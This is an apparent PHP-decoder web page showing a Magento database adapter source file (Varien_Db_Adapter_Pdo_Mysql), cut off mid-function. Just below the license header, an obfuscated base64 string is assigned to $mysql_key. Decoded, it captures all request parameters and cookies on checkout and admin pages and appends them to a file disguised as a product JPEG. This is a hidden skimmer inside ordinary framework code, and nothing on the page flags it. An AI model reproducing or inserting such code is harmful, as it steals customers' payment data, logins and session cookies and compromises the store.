Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to th..
Decoded Output download
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Varien
* @package Varien_Db
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Mysql PDO DB adapter
*/
$mysql_key = @base64_decode('aWYoQHByZWdfbWF0Y2goIi9jaGVja291dHxhZG1pbi8iLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpe0BmaWxlX3B1dF9jb250ZW50cygnL3Zhci93d3cvaHRtbC9tZWRpYS9jYXRhbG9nL3Byb2R1Y3QvQy9pL0NpdHJvbl9HcmVlbl9TZXh5X0Jhcmxvd18yOS5qcGcnLCBAYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJF9SRVFVRVNUKS4iLS0iLnNlcmlhbGl6ZSgkX0NPT0tJRSkpLiJcbiIsIEZJTEVfQVBQRU5EKTt9');
class Varien_Db_Adapter_Pdo_Mysql extends Zend_Db_Adapter_Pdo_Mysql implements Varien_Db_Adapter_Interface
{
const DEBUG_CONNECT = 0;
const DEBUG_TRANSACTION = 1;
const DEBUG_QUERY = 2;
const TIMESTAMP_FORMAT = 'Y-m-d H:i:s';
const DATETIME_FORMAT = 'Y-m-d H:i:s';
const DATE_FORMAT = 'Y-m-d';
const DDL_DESCRIBE = 1;
const DDL_CREATE = 2;
const DDL_INDEX = 3;
const DDL_FOREIGN_KEY = 4;
const DDL_CACHE_PREFIX = 'DB_PDO_MYSQL_DDL';
const DDL_CACHE_TAG = 'DB_PDO_MYSQL_DDL';
const LENGTH_TABLE_NAME = 64;
const LENGTH_INDEX_NAME = 64;
const LENGTH_FOREIGN_NAME = 64;
/**
* Those constants are defining the possible address types
*/
const ADDRESS_TYPE_HOSTNAME = 'hostname';
const ADDRESS_TYPE_UNIX_SOCKET = 'unix_socket';
const ADDRESS_TYPE_IPV4_ADDRESS = 'ipv4';
const ADDRESS_TYPE_IPV6_ADDRESS = 'ipv6';
/**
* MEMORY engine type for MySQL tables
*/
const ENGINE_MEMORY = 'MEMORY';
/**
* Default class name for a DB statement.
*
* @var string
*/
protected $_defaultStmtClass = 'Varien_Db_Statement_Pdo_Mysql';
/**
* Current Transaction Level
*
* @var int
*/
protected $_transactionLevel = 0;
/**
* Set attribute to connection flag
*
* @var bool
*/
protected $_connectionFlagsSet = false;
/**
* Tables DDL cache
*
* @var array
*/
protected $_ddlCache = array();
/**
* SQL bind params. Used temporarily by regexp callback.
*
* @var array
*/
protected $_bindParams = array();
/**
* Autoincrement for bind value. Used by regexp callback.
*
* @var int
*/
protected $_bindIncrement = 0;
/**
* Write SQL debug data to file
*
* @var bool
*/
protected $_debug = false;
/**
* Minimum query duration time to be logged
*
* @var float
*/
protected $_logQueryTime = 0.05;
/**
* Log all queries (ignored minimum query duration time)
*
* @var bool
*/
protected $_logAllQueries = false;
/**
* Add to log call stack data (backtrace)
*
* @var bool
*/
protected $_logCallStack = false;
/**
* Path to SQL debug data log
*
* @var string
*/
protected $_debugFile = 'var/debug/pdo_mysql.log';
/**
* Io File Adapter
*
* @var Varien_Io_File
*/
protected $_debugIoAdapter;
/**
* Debug timer start value
*
* @var float
*/
protected $_debugTimer = 0;
/**
* Cache frontend adapter instance
*
* @var Zend_Cache_Core
*/
protected $_cacheAdapter;
/**
* DDL cache allowing flag
* @var bool
*/
protected $_isDdlCacheAllowed = true;
/**
* MySQL column - Table DDL type pairs
*
* @var array
*/
protected $_ddlColumnTypes = array(
Varien_Db_Ddl_Table::TYPE_BOOLEAN => 'bool',
Varien_Db_Ddl_Table::TYPE_SMALLINT => 'smallint',
Varien_Db_Ddl_Table::TYPE_INTEGER => 'int',
Varien_Db_Ddl_Table::TYPE_BIGINT => 'bigint',
Varien_Db_Ddl_Table::TYPE_FLOAT => 'float',
Varien_Db_Ddl_Table::TYPE_DECIMAL => 'decimal',
Varien_Db_Ddl_Table::TYPE_NUMERIC => 'decimal',
Varien_Db_Ddl_Table::TYPE_DATE => 'date',
Varien_Db_Ddl_Table::TYPE_TIMESTAMP => 'timestamp',
Varien_Db_Ddl_Table::TYPE_DATETIME => 'datetime',
Varien_Db_Ddl_Table::TYPE_TEXT => 'text',
Varien_Db_Ddl_Table::TYPE_BLOB => 'blob',
Varien_Db_Ddl_Table::TYPE_VARBINARY => 'blob'
);
/**
* All possible DDL statements
* First 3 symbols for each statement
*
* @var array
*/
protected $_ddlRoutines = array('alt', 'cre', 'ren', 'dro', 'tru');
/**
* DDL statements for temporary tables
*
* @var string
*/
protected $_tempRoutines = '#^\w+\s+temporary\s#im';
/**
* Allowed interval units array
*
* @var array
*/
protected $_intervalUnits = array(
self::INTERVAL_YEAR => 'YEAR',
self::INTERVAL_MONTH => 'MONTH',
self::INTERVAL_DAY => 'DAY',
self::INTERVAL_HOUR => 'HOUR',
self::INTERVAL_MINUTE => 'MINUTE',
self::INTERVAL_SECOND => 'SECOND',
);
/**
* Hook callback to modify queries. Mysql specific property, designed only for backwards compatibility.
*
* @var array|null
*/
protected $_queryHook = null;
/**
* Begin new DB transaction for connection
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function beginTransaction()
{
if ($this->_transactionLevel === 0) {
$this->_debugTimer();
parent::beginTransaction();
$this->_debugStat(self::DEBUG_TRANSACTION, 'BEGIN');
}
++$this->_transactionLevel;
return $this;
}
/**
* Commit DB transaction
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function commit()
{
if ($this->_transactionLevel === 1) {
$this->_debugTimer();
parent::commit();
$this->_debugStat(self::DEBUG_TRANSACTION, 'COMMIT');
}
--$this->_transactionLevel;
return $this;
}
/**
* Rollback DB transaction
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function rollback()
{
if ($this->_transactionLevel === 1) {
$this->_debugTimer();
parent::rollback();
$this->_debugStat(self::DEBUG_TRANSACTION, 'ROLLBACK');
}
--$this->_transactionLevel;
return $this;
}
/**
* Get adapter transaction level state. Return 0 if all transactions are complete
*
* @return int
*/
public function getTransactionLevel()
{
return $this->_transactionLevel;
}
/**
* Convert date to DB format
*
* @param mixed $date
* @return string
*/
public function convertDate($date)
{
return $this->formatDate($date, false);
}
/**
* Convert date and time to DB format
*
* @param mixed $date
* @return string
*/
public function convertDateTime($datetime)
{
return $this->formatDate($datetime, true);
}
/**
* Parse a source hostname and generate a host info
* @param $hostName
*
* @return Varien_Object
*/
protected function _getHostInfo($hostName)
{
$hostInfo = new Varien_Object();
$matches = array();
if (strpos($hostName, '/') !== false) {
$hostInfo->setAddressType(self::ADDRESS_TYPE_UNIX_SOCKET)
->setUnixSocket($hostName);
} elseif (
preg_match(
'/^\[(([0-9a-f]{1,4})?(:([0-9a-f]{1,4})?){1,}:([0-9a-f]{1,4}))(%[0-9a-z]+)?\](:([0-9]+))?$/i',
$hostName,
$matches
)
) {
$hostName = isset($matches[1]) ? $matches[1] : null;
!is_null($hostName) && isset($matches[6]) && ($hostName .= $matches[6]);
$hostInfo->setAddressType(self::ADDRESS_TYPE_IPV6_ADDRESS)
->setHostName($hostName)
->setPort(isset($matches[8]) ? $matches[8] : null);
} elseif (
preg_match(
'/^(([0-9a-f]{1,4})?(:([0-9a-f]{1,4})?){1,}:([0-9a-f]{1,4}))(%[0-9a-z]+)?$/i',
$hostName,
$matches
)
) {
$hostName = isset($matches[1]) ? $matches[1] : null;
!is_null($hostName) && isset($matches[6]) && ($hostName .= $matches[6]);
$hostInfo->setAddressType(self::ADDRESS_TYPE_IPV6_ADDRESS)
->setHostName($hostName);
} elseif (strpos($hostName, ':') !== false) {
list($hostAddress, $hostPort) = explode(':', $hostName);
$hostInfo->setAddressType(
filter_var($hostAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)
? self::ADDRESS_TYPE_IPV4_ADDRESS
: self::ADDRESS_TYPE_HOSTNAME
)->setHostName($hostAddress)
->setPort($hostPort);
} else {
$hostInfo->setAddressType(
filter_var($hostName, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)
? self::ADDRESS_TYPE_IPV4_ADDRESS
: self::ADDRESS_TYPE_HOSTNAME
)->setHostName($hostName);
}
return $hostInfo;
}
/**
* Creates a PDO object and connects to the database.
*
* @throws Zend_Db_Adapter_Exception
*/
protected function _connect()
{
if ($this->_connection) {
return;
}
if (!extension_loaded('pdo_mysql')) {
throw new Zend_Db_Adapter_Exception('pdo_mysql extension is not installed');
}
$hostInfo = $this->_getHostInfo($this->_config['host']);
switch ($hostInfo->getAddressType()) {
case self::ADDRESS_TYPE_UNIX_SOCKET:
$this->_config['unix_socket'] = $hostInfo->getUnixSocket();
unset($this->_config['host']);
break;
case self::ADDRESS_TYPE_IPV6_ADDRESS: // break intentionally omitted
case self::ADDRESS_TYPE_IPV4_ADDRESS: // break intentionally omitted
case self::ADDRESS_TYPE_HOSTNAME:
$this->_config['host'] = $hostInfo->getHostName();
if ($hostInfo->getPort()) {
$this->_config['port'] = $hostInfo->getPort();
}
break;
default:
break;
}
$this->_debugTimer();
parent::_connect();
$this->_debugStat(self::DEBUG_CONNECT, '');
/** @link http://bugs.mysql.com/bug.php?id=18551 */
$this->_connection->query("SET SQL_MODE=''");
if (!$this->_connectionFlagsSet) {
$this->_connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
$this->_connection->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
$this->_connectionFlagsSet = true;
}
}
/**
* Run RAW Query
*
* @param string $sql
* @return Zend_Db_Statement_Interface
* @throws PDOException
*/
public function raw_query($sql)
{
$lostConnectionMessage = 'SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query';
$tries = 0;
do {
$retry = false;
try {
$result = $this->query($sql);
} catch (Exception $e) {
// Convert to PDOException to maintain backwards compatibility with usage of MySQL adapter
if ($e instanceof Zend_Db_Statement_Exception) {
$e = $e->getPrevious();
if (!($e instanceof PDOException)) {
$e = new PDOException($e->getMessage(), $e->getCode());
}
}
// Check to reconnect
if ($tries < 10 && $e->getMessage() == $lostConnectionMessage) {
$retry = true;
$tries++;
} else {
throw $e;
}
}
} while ($retry);
return $result;
}
/**
* Run RAW query and Fetch First row
*
* @param string $sql
* @param string|int $field
* @return boolean
*/
public function raw_fetchRow($sql, $field = null)
{
$result = $this->raw_query($sql);
if (!$result) {
return false;
}
$row = $result->fetch(PDO::FETCH_ASSOC);
if (!$row) {
return false;
}
if (empty($field)) {
return $row;
} else {
return isset($row[$field]) ? $row[$field] : false;
}
}
/**
* Check transaction level in case of DDL query
*
* @param string|Zend_Db_Select $sql
* @throws Zend_Db_Adapter_Exception
*/
protected function _checkDdlTransaction($sql)
{
if (is_string($sql) && $this->getTransactionLevel() > 0) {
$startSql = strtolower(substr(ltrim($sql), 0, 3));
if (in_array($startSql, $this->_ddlRoutines)
&& (preg_match($this->_tempRoutines, $sql) !== 1)
) {
trigger_error(Varien_Db_Adapter_Interface::ERROR_DDL_MESSAGE, E_USER_ERROR);
}
}
}
/**
* Special handling for PDO query().
* All bind parameter names must begin with ':'.
*
* @param string|Zend_Db_Select $sql The SQL statement with placeholders.
* @param mixed $bind An array of data or data itself to bind to the placeholders.
* @return Zend_Db_Statement_Pdo
* @throws Zend_Db_Adapter_Exception To re-throw PDOException.
*/
public function query($sql, $bind = array())
{
$this->_debugTimer();
try {
$this->_checkDdlTransaction($sql);
$this->_prepareQuery($sql, $bind);
$result = parent::query($sql, $bind);
} catch (Exception $e) {
$this->_debugStat(self::DEBUG_QUERY, $sql, $bind);
$this->_debugException($e);
}
$this->_debugStat(self::DEBUG_QUERY, $sql, $bind, $result);
return $result;
}
/**
* Prepares SQL query by moving to bind all special parameters that can be confused with bind placeholders
* (e.g. "foo:bar"). And also changes named bind to positional one, because underlying library has problems
* with named binds.
*
* @param Zend_Db_Select|string $sql
* @param mixed $bind
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _prepareQuery(&$sql, &$bind = array())
{
$sql = (string) $sql;
if (!is_array($bind)) {
$bind = array($bind);
}
// Mixed bind is not supported - so remember whether it is named bind, to normalize later if required
$isNamedBind = false;
if ($bind) {
foreach ($bind as $k => $v) {
if (!is_int($k)) {
$isNamedBind = true;
if ($k[0] != ':') {
$bind[":{$k}"] = $v;
unset($bind[$k]);
}
}
}
}
// Special query hook
if ($this->_queryHook) {
$object = $this->_queryHook['object'];
$method = $this->_queryHook['method'];
$object->$method($sql, $bind);
}
return $this;
}
/**
* Callback function for preparation of query and bind by regexp.
* Checks query parameters for special symbols and moves such parameters to bind array as named ones.
* This method writes to $_bindParams, where query bind parameters are kept.
* This method requires further normalizing, if bind array is positional.
*
* @param array $matches
* @return string
*/
public function proccessBindCallback($matches)
{
if (isset($matches[6]) && (
strpos($matches[6], "'") !== false ||
strpos($matches[6], ':') !== false ||
strpos($matches[6], '?') !== false)
) {
$bindName = ':_mage_bind_var_' . (++$this->_bindIncrement);
$this->_bindParams[$bindName] = $this->_unQuote($matches[6]);
return ' ' . $bindName;
}
return $matches[0];
}
/**
* Unquote raw string (use for auto-bind)
*
* @param string $string
* @return string
*/
protected function _unQuote($string)
{
$translate = array(
"\000" => "",
"\n" => "
",
"\r" => "
",
"\\" => "\",
"\'" => "'",
"\\"" => "\"",
"\032" => ""
);
return strtr($string, $translate);
}
/**
* Normalizes mixed positional-named bind to positional bind, and replaces named placeholders in query to
* '?' placeholders.
*
* @param string $sql
* @param array $bind
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _convertMixedBind(&$sql, &$bind)
{
$positions = array();
$offset = 0;
// get positions
while (true) {
$pos = strpos($sql, '?', $offset);
if ($pos !== false) {
$positions[] = $pos;
$offset = ++$pos;
} else {
break;
}
}
$bindResult = array();
$map = array();
foreach ($bind as $k => $v) {
// positional
if (is_int($k)) {
if (!isset($positions[$k])) {
continue;
}
$bindResult[$positions[$k]] = $v;
} else {
$offset = 0;
while (true) {
$pos = strpos($sql, $k, $offset);
if ($pos === false) {
break;
} else {
$offset = $pos + strlen($k);
$bindResult[$pos] = $v;
}
}
$map[$k] = '?';
}
}
ksort($bindResult);
$bind = array_values($bindResult);
$sql = strtr($sql, $map);
return $this;
}
/**
* Sets (removes) query hook.
*
* $hook must be either array with 'object' and 'method' entries, or null to remove hook.
* Previous hook is returned.
*
* @param array $hook
* @return mixed
*/
public function setQueryHook($hook)
{
$prev = $this->_queryHook;
$this->_queryHook = $hook;
return $prev;
}
/**
* Executes a SQL statement(s)
*
* @param string $sql
* @throws Zend_Db_Exception
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function multiQuery($sql)
{
return $this->multi_query($sql);
}
/**
* Run Multi Query
*
* @param string $sql
* @return array
*/
public function multi_query($sql)
{
##$result = $this->raw_query($sql);
#$this->beginTransaction();
try {
$stmts = $this->_splitMultiQuery($sql);
$result = array();
foreach ($stmts as $stmt) {
$result[] = $this->raw_query($stmt);
}
#$this->commit();
} catch (Exception $e) {
#$this->rollback();
throw $e;
}
$this->resetDdlCache();
return $result;
}
/**
* Split multi statement query
*
* @param $sql string
* @return array
*/
protected function _splitMultiQuery($sql)
{
$parts = preg_split('#(;|\'|"|\\|//|--|
|/\*|\*/)#', $sql, null,
PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE
);
$q = false;
$c = false;
$stmts = array();
$s = '';
foreach ($parts as $i => $part) {
// strings
if (($part === "'" || $part === '"') && ($i === 0 || $parts[$i-1] !== '\')) {
if ($q === false) {
$q = $part;
} elseif ($q === $part) {
$q = false;
}
}
// single line comments
if (($part === '//' || $part === '--') && ($i === 0 || $parts[$i-1] === "
")) {
$c = $part;
} elseif ($part === "
" && ($c === '//' || $c === '--')) {
$c = false;
}
// multi line comments
if ($part === '/*' && $c === false) {
$c = '/*';
} elseif ($part === '*/' && $c === '/*') {
$c = false;
}
// statements
if ($part === ';' && $q === false && $c === false) {
if (trim($s)!=='') {
$stmts[] = trim($s);
$s = '';
}
} else {
$s .= $part;
}
}
if (trim($s) !== '') {
$stmts[] = trim($s);
}
return $stmts;
}
/**
* Drop the Foreign Key from table
*
* @param string $tableName
* @param string $fkName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function dropForeignKey($tableName, $fkName, $schemaName = null)
{
$foreignKeys = $this->getForeignKeys($tableName, $schemaName);
$fkName = strtoupper($fkName);
if (substr($fkName, 0, 3) == 'FK_') {
$fkName = substr($fkName, 3);
}
foreach (array($fkName, 'FK_' . $fkName) as $key) {
if (isset($foreignKeys[$key])) {
$sql = sprintf('ALTER TABLE %s DROP FOREIGN KEY %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$this->quoteIdentifier($foreignKeys[$key]['FK_NAME'])
);
$this->resetDdlCache($tableName, $schemaName);
$this->raw_query($sql);
}
}
return $this;
}
/**
* Delete index from a table if it exists
*
* @deprecated since 1.4.0.1
* @param string $tableName
* @param string $keyName
* @param string $schemaName
* @return bool|Zend_Db_Statement_Interface
*/
public function dropKey($tableName, $keyName, $schemaName = null)
{
return $this->dropIndex($tableName, $keyName, $schemaName);
}
/**
* Prepare table before add constraint foreign key
*
* @param string $tableName
* @param string $columnName
* @param string $refTableName
* @param string $refColumnName
* @param string $onDelete
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function purgeOrphanRecords($tableName, $columnName, $refTableName, $refColumnName,
$onDelete = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE)
{
$onDelete = strtoupper($onDelete);
if ($onDelete == Varien_Db_Adapter_Interface::FK_ACTION_CASCADE
|| $onDelete == Varien_Db_Adapter_Interface::FK_ACTION_RESTRICT
) {
$sql = sprintf("DELETE p.* FROM %s AS p LEFT JOIN %s AS r ON p.%s = r.%s WHERE r.%s IS NULL",
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($refTableName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($refColumnName),
$this->quoteIdentifier($refColumnName));
$this->raw_query($sql);
} elseif ($onDelete == Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL) {
$sql = sprintf("UPDATE %s AS p LEFT JOIN %s AS r ON p.%s = r.%s SET p.%s = NULL WHERE r.%s IS NULL",
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($refTableName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($refColumnName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($refColumnName));
$this->raw_query($sql);
}
return $this;
}
/**
* Add foreign key to table. If FK with same name exist - it will be deleted
*
* @deprecated since 1.4.0.1
* @param string $fkName foreign key name
* @param string $tableName main table name
* @param string $keyName main table field name
* @param string $refTableName refered table name
* @param string $refKeyName refered table field name
* @param string $onUpdate on update statement
* @param string $onDelete on delete statement
* @param bool $purge
* @return mixed
*/
public function addConstraint($fkName, $tableName, $columnName,
$refTableName, $refColumnName, $onDelete = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE,
$onUpdate = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE, $purge = false)
{
return $this->addForeignKey($fkName, $tableName, $columnName, $refTableName, $refColumnName,
$onDelete, $onUpdate, $purge);
}
/**
* Check does table column exist
*
* @param string $tableName
* @param string $columnName
* @param string $schemaName
* @return boolean
*/
public function tableColumnExists($tableName, $columnName, $schemaName = null)
{
$describe = $this->describeTable($tableName, $schemaName);
foreach ($describe as $column) {
if ($column['COLUMN_NAME'] == $columnName) {
return true;
}
}
return false;
}
/**
* Adds new column to table.
*
* Generally $defintion must be array with column data to keep this call cross-DB compatible.
* Using string as $definition is allowed only for concrete DB adapter.
* Adds primary key if needed
*
* @param string $tableName
* @param string $columnName
* @param array|string $definition string specific or universal array DB Server definition
* @param string $schemaName
* @return int|boolean
* @throws Zend_Db_Exception
*/
public function addColumn($tableName, $columnName, $definition, $schemaName = null)
{
if ($this->tableColumnExists($tableName, $columnName, $schemaName)) {
return true;
}
$primaryKey = '';
if (is_array($definition)) {
$definition = array_change_key_case($definition, CASE_UPPER);
if (empty($definition['COMMENT'])) {
throw new Zend_Db_Exception("Impossible to create a column without comment.");
}
if (!empty($definition['PRIMARY'])) {
$primaryKey = sprintf(', ADD PRIMARY KEY (%s)', $this->quoteIdentifier($columnName));
}
$definition = $this->_getColumnDefinition($definition);
}
$sql = sprintf('ALTER TABLE %s ADD COLUMN %s %s %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$this->quoteIdentifier($columnName),
$definition,
$primaryKey
);
$result = $this->raw_query($sql);
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Delete table column
*
* @param string $tableName
* @param string $columnName
* @param string $schemaName
* @return bool
*/
public function dropColumn($tableName, $columnName, $schemaName = null)
{
if (!$this->tableColumnExists($tableName, $columnName, $schemaName)) {
return true;
}
$alterDrop = array();
$foreignKeys = $this->getForeignKeys($tableName, $schemaName);
foreach ($foreignKeys as $fkProp) {
if ($fkProp['COLUMN_NAME'] == $columnName) {
$alterDrop[] = 'DROP FOREIGN KEY ' . $this->quoteIdentifier($fkProp['FK_NAME']);
}
}
$alterDrop[] = 'DROP COLUMN ' . $this->quoteIdentifier($columnName);
$sql = sprintf('ALTER TABLE %s %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
implode(', ', $alterDrop));
$result = $this->raw_query($sql);
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Change the column name and definition
*
* For change definition of column - use modifyColumn
*
* @param string $tableName
* @param string $oldColumnName
* @param string $newColumnName
* @param array $definition
* @param boolean $flushData flush table statistic
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
* @throws Zend_Db_Exception
*/
public function changeColumn($tableName, $oldColumnName, $newColumnName, $definition, $flushData = false,
$schemaName = null)
{
if (!$this->tableColumnExists($tableName, $oldColumnName, $schemaName)) {
throw new Zend_Db_Exception(sprintf(
'Column "%s" does not exist in table "%s".',
$oldColumnName,
$tableName
));
}
if (is_array($definition)) {
$definition = $this->_getColumnDefinition($definition);
}
$sql = sprintf('ALTER TABLE %s CHANGE COLUMN %s %s %s',
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($oldColumnName),
$this->quoteIdentifier($newColumnName),
$definition);
$result = $this->raw_query($sql);
if ($flushData) {
$this->showTableStatus($tableName, $schemaName);
}
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Modify the column definition
*
* @param string $tableName
* @param string $columnName
* @param array|string $definition
* @param boolean $flushData
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
* @throws Zend_Db_Exception
*/
public function modifyColumn($tableName, $columnName, $definition, $flushData = false, $schemaName = null)
{
if (!$this->tableColumnExists($tableName, $columnName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Column "%s" does not exist in table "%s".', $columnName, $tableName));
}
if (is_array($definition)) {
$definition = $this->_getColumnDefinition($definition);
}
$sql = sprintf('ALTER TABLE %s MODIFY COLUMN %s %s',
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($columnName),
$definition);
$this->raw_query($sql);
if ($flushData) {
$this->showTableStatus($tableName, $schemaName);
}
$this->resetDdlCache($tableName, $schemaName);
return $this;
}
/**
* Show table status
*
* @param string $tableName
* @param string $schemaName
* @return array|false
*/
public function showTableStatus($tableName, $schemaName = null)
{
$fromDbName = null;
if ($schemaName !== null) {
$fromDbName = ' FROM ' . $this->quoteIdentifier($schemaName);
}
$query = sprintf('SHOW TABLE STATUS%s LIKE %s', $fromDbName, $this->quote($tableName));
return $this->raw_fetchRow($query);
}
/**
* Retrieve table index key list
*
* @deprecated use getIndexList(
* @param string $tableName
* @param string $schemaName
* @return array
*/
public function getKeyList($tableName, $schemaName = null)
{
$keyList = array();
$indexList = $this->getIndexList($tableName, $schemaName);
foreach ($indexList as $indexProp) {
$keyList[$indexProp['KEY_NAME']] = $indexProp['COLUMNS_LIST'];
}
return $keyList;
}
/**
* Retrieve Create Table SQL
*
* @param string $tableName
* @param string $schemaName
* @return string
*/
public function getCreateTable($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddl = $this->loadDdlCache($cacheKey, self::DDL_CREATE);
if ($ddl === false) {
$sql = 'SHOW CREATE TABLE ' . $this->quoteIdentifier($tableName);
$ddl = $this->raw_fetchRow($sql, 'Create Table');
$this->saveDdlCache($cacheKey, self::DDL_CREATE, $ddl);
}
return $ddl;
}
/**
* Retrieve the foreign keys descriptions for a table.
*
* The return value is an associative array keyed by the UPPERCASE foreign key,
* as returned by the RDBMS.
*
* The value of each array element is an associative array
* with the following keys:
*
* FK_NAME => string; original foreign key name
* SCHEMA_NAME => string; name of database or schema
* TABLE_NAME => string;
* COLUMN_NAME => string; column name
* REF_SCHEMA_NAME => string; name of reference database or schema
* REF_TABLE_NAME => string; reference table name
* REF_COLUMN_NAME => string; reference column name
* ON_DELETE => string; action type on delete row
* ON_UPDATE => string; action type on update row
*
* @param string $tableName
* @param string $schemaName
* @return array
*/
public function getForeignKeys($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddl = $this->loadDdlCache($cacheKey, self::DDL_FOREIGN_KEY);
if ($ddl === false) {
$ddl = array();
$createSql = $this->getCreateTable($tableName, $schemaName);
// collect CONSTRAINT
$regExp = '#,\s+CONSTRAINT `([^`]*)` FOREIGN KEY \(`([^`]*)`\) '
. 'REFERENCES (`[^`]*\.)?`([^`]*)` \(`([^`]*)`\)'
. '( ON DELETE (RESTRICT|CASCADE|SET NULL|NO ACTION))?'
. '( ON UPDATE (RESTRICT|CASCADE|SET NULL|NO ACTION))?#';
$matches = array();
preg_match_all($regExp, $createSql, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
$ddl[strtoupper($match[1])] = array(
'FK_NAME' => $match[1],
'SCHEMA_NAME' => $schemaName,
'TABLE_NAME' => $tableName,
'COLUMN_NAME' => $match[2],
'REF_SHEMA_NAME' => isset($match[3]) ? $match[3] : $schemaName,
'REF_TABLE_NAME' => $match[4],
'REF_COLUMN_NAME' => $match[5],
'ON_DELETE' => isset($match[6]) ? $match[7] : '',
'ON_UPDATE' => isset($match[8]) ? $match[9] : ''
);
}
$this->saveDdlCache($cacheKey, self::DDL_FOREIGN_KEY, $ddl);
}
return $ddl;
}
/**
* Retrieve the foreign keys tree for all tables
*
* @return array
*/
public function getForeignKeysTree()
{
$tree = array();
foreach ($this->listTables() as $table) {
foreach($this->getForeignKeys($table) as $key) {
$tree[$table][$key['COLUMN_NAME']] = $key;
}
}
return $tree;
}
/**
* Modify tables, used for upgrade process
* Change columns definitions, reset foreign keys, change tables comments and engines.
*
* The value of each array element is an associative array
* with the following keys:
*
* columns => array; list of columns definitions
* comment => string; table comment
* engine => string; table engine
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function modifyTables($tables)
{
$foreignKeys = $this->getForeignKeysTree();
foreach ($tables as $table => $tableData) {
if (!$this->isTableExists($table)) {
continue;
}
foreach ($tableData['columns'] as $column =>$columnDefinition) {
if (!$this->tableColumnExists($table, $column)) {
continue;
}
$droppedKeys = array();
foreach($foreignKeys as $keyTable => $columns) {
foreach($columns as $columnName => $keyOptions) {
if ($table == $keyOptions['REF_TABLE_NAME'] && $column == $keyOptions['REF_COLUMN_NAME']) {
$this->dropForeignKey($keyTable, $keyOptions['FK_NAME']);
$droppedKeys[] = $keyOptions;
}
}
}
$this->modifyColumn($table, $column, $columnDefinition);
foreach ($droppedKeys as $options) {
unset($columnDefinition['identity'], $columnDefinition['primary'], $columnDefinition['comment']);
$onDelete = $options['ON_DELETE'];
$onUpdate = $options['ON_UPDATE'];
if ($onDelete == Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL
|| $onUpdate == Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL) {
$columnDefinition['nullable'] = true;
}
$this->modifyColumn($options['TABLE_NAME'], $options['COLUMN_NAME'], $columnDefinition);
$this->addForeignKey(
$options['FK_NAME'],
$options['TABLE_NAME'],
$options['COLUMN_NAME'],
$options['REF_TABLE_NAME'],
$options['REF_COLUMN_NAME'],
($onDelete) ? $onDelete : Varien_Db_Adapter_Interface::FK_ACTION_NO_ACTION,
($onUpdate) ? $onUpdate : Varien_Db_Adapter_Interface::FK_ACTION_NO_ACTION
);
}
}
if (!empty($tableData['comment'])) {
$this->changeTableComment($table, $tableData['comment']);
}
if (!empty($tableData['engine'])) {
$this->changeTableEngine($table, $tableData['engine']);
}
}
return $this;
}
/**
* Retrieve table index information
*
* The return value is an associative array keyed by the UPPERCASE index key (except for primary key,
* that is always stored under 'PRIMARY' key) as returned by the RDBMS.
*
* The value of each array element is an associative array
* with the following keys:
*
* SCHEMA_NAME => string; name of database or schema
* TABLE_NAME => string; name of the table
* KEY_NAME => string; the original index name
* COLUMNS_LIST => array; array of index column names
* INDEX_TYPE => string; lowercase, create index type
* INDEX_METHOD => string; index method using
* type => string; see INDEX_TYPE
* fields => array; see COLUMNS_LIST
*
* @param string $tableName
* @param string $schemaName
* @return array
*/
public function getIndexList($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
